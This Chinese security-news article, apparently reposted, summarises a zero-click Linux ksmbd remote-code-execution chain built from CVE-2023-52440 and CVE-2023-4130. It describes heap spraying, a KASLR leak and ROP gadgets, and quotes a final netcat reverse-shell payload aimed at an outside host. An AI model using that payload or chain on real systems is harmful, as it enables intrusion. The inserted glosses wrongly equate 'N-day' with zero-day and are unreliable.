零点击Linux内核KSMBD远程代码执行漏洞利用(源自N日漏洞)

零点击Linux内核KSMBD远程代码执行漏洞利用(源自N日漏洞)

一个零点击的Linux内核KSMBD远程代码执行漏洞利用程序,源于N天漏洞,可在一个已过时两年的Linux 6.1.45实例上实现远程代码执行,该实例运行着内核空间SMB3 守护进程ksmbd。

通过将两个经过验证的N-day漏洞CVE-2023-52440和CVE-2023-4130串联起来,该漏洞利用实现了未经验证的SLUB溢出和越界堆读取原语,最终在无需任何手动交互的情况下调用用户模式助手并获取反向shell。

  1. 串联利用 ksmbd 服务的两个零日漏洞(SLUB 溢出漏洞与越界读取漏洞),实现零点击远程代码执行(0-click RCE)。

    (说明:“N-day bug” 指 “零日漏洞”,即已被发现但厂商尚未发布修复补丁的安全漏洞;“ksmbd” 是 Linux 系统中用于提供 SMB 文件共享服务的模块;“SLUB overflow” 为 “SLUB 分配器溢出漏洞”,“OOB read” 为 “越界读取漏洞”,均属于内存安全漏洞;“0-click RCE” 指无需用户进行任何操作(如点击链接、打开文件等),攻击者即可远程执行目标设备上的代码。)

  2. 通过堆喷射(Heap-spraying)和溢出 kmalloc 内存 slab ,绕过内核地址空间布局随机化(KASLR)并劫持伪造的虚拟函数表(vtable)。

    (说明:“Heap-spraying” 是一种攻击技术,通过在堆内存中大量喷射特定数据,提高命中目标内存区域的概率;“kmalloc slabs” 指 Linux 内核中通过 kmalloc 函数分配内存时使用的 slab 分配器管理的内存块;“KASLR” 是 “内核地址空间布局随机化”,一种用于防止攻击者预测内核内存地址的安全机制;“vtable”(虚拟函数表)是面向对象编程中存储类成员函数指针的表格,劫持 vtable 可使程序执行攻击者指定的恶意代码。)

  3. 借助 call_usermodehelper () 函数执行返回导向编程(ROP)链,以获取反向 shell。

    (说明:“ROP chain” 即 “返回导向编程链”,是一种利用程序中已有的代码片段( gadgets )构造攻击流程的技术,可绕过数据执行保护(DEP)等安全机制;“call_usermodehelper ()” 是 Linux 内核中的一个函数,用于在内核态调用用户态程序或脚本;“reverse shell” 即 “反向 shell”,指让目标设备主动连接攻击者的控制端,使攻击者获得目标设备的命令行控制权,是渗透测试中常见的远程控制手段。)

针对ksmbd:一种内核空间SMB3守护进程

Eternal-Tux报告称,ksmbd模块实现了一个内核内SMB3服务器,以分担用户空间中性能关键型任务的负载。其挑战-响应NTLM认证和扩展属性处理在2023年和2024年分别引入了两个高严重性漏洞。

CVE-2023-52440 出现在 ksmbd_decode_ntlmssp_auth_blob() 函数中,其中未检查的 sess_key_len 会导致在 cifs_arc4_crypt() 过程中发生可控的 SLUB 溢出。

通过Impacket的ntlmChallengeResponse将session_key设置为攻击者提供的二进制大对象,该漏洞利用获得了可靠的堆溢出原语。

接下来,CVE-2023-4130存在于smb2_set_ea()中,其中对smb2_ea_info条目的长度验证不当,使得经过身份验证的用户能够对相邻堆块进行越界读取,并将其存入扩展属性中。

零点击Linux内核KSMBD远程代码执行漏洞利用(源自N日漏洞)

研究人员利用Impacket的setInfo()和queryInfo()函数精心构造恶意的EA缓冲区,并泄露内核堆内容,从而实现了KASLR绕过和精确的堆整理。

漏洞利用链

在一个启用了标准缓解措施(SMEP、SMAP、KPTI、KASLR、强化的SLUB)的单核测试平台上,该漏洞利用通过喷射多个TCP连接开始,以分配成对的ksmbd_conn(kmalloc-1k)和ksmbd_session(kmalloc-512)对象。

“喷射、泄露、重试”循环确保有效的会话泄露,而“溢出、验证、重试”模式则隔离溢出的连接。

通过滥用SLUB缓冲区溢出,攻击者会破坏ksmbd会话中的Preauth_HashValue指针,使其在kmalloc-1k上变成任意释放操作。

零点击Linux内核KSMBD远程代码执行漏洞利用(源自N日漏洞)

随后基于EA的泄露识别出目标ksmbd_conn对象,暴露内核指针并计算KASLR基址。掌握精确偏移量后,第二次SLUB溢出触发对伪造虚表对象的任意释放和重新分配。

ksmbd_conn中损坏的local_nls指针被覆盖,指向一个包含ROP gadget的伪造虚函数表,这些ROP gadget包括:pop rdi; ret、pop rsi; ret、pop rdx; ret、pop rcx; ret,以及一个leave; ret栈转移指令。

最终的有效载荷会调用call_usermodehelper(“/usr/bin/nc.traditional”,“-e”,“/bin/sh”,“ctfi.ng”,“16549”),随后调用msleep()来冻结内核线程,从而在16549端口生成一个反向shell。

尽管ksmbd的生产部署有限,但这一漏洞利用链凸显出,随着用户空间模块迁移到内核空间,内核的攻击面正在扩大。

Eternal-Tux的研究体现了零日漏洞利用开发日益增长的复杂性,以及对严格的内核漏洞管理的迫切需求。

版权声明·<<<---红客联盟--->>>·免责声明
1. 本版块文章内容及资料部分来源于网络,不代表本站观点,不对其真实性负责,也不构成任何建议。
2. 部分内容由网友自主投稿、编辑整理上传,本站仅提供交流平台,不为该类内容的版权负责。
3. 本版块提供的信息仅作参考,不保证信息的准确性、有效性、及时性和完整性。
4. 若您发现本版块有侵犯您知识产权的内容,请及时与我们联系,我们会尽快修改或删除。
5. 使用者违规、不可抗力(如黑客攻击)或第三方擅自转载引发的争议,联盟不承担责任。
6. 联盟可修订本声明,官网发布即生效,继续使用视为接受新条款。
联系我们:admin@chnhonker.com
安全威胁

新型Phoenix Rowhammer攻击变体绕过DDR5芯片的防护措施

2025-9-20 12:11:24

安全威胁

Spring框架安全漏洞导致授权绕过和注解检测问题

2025-9-20 12:30:48

搜索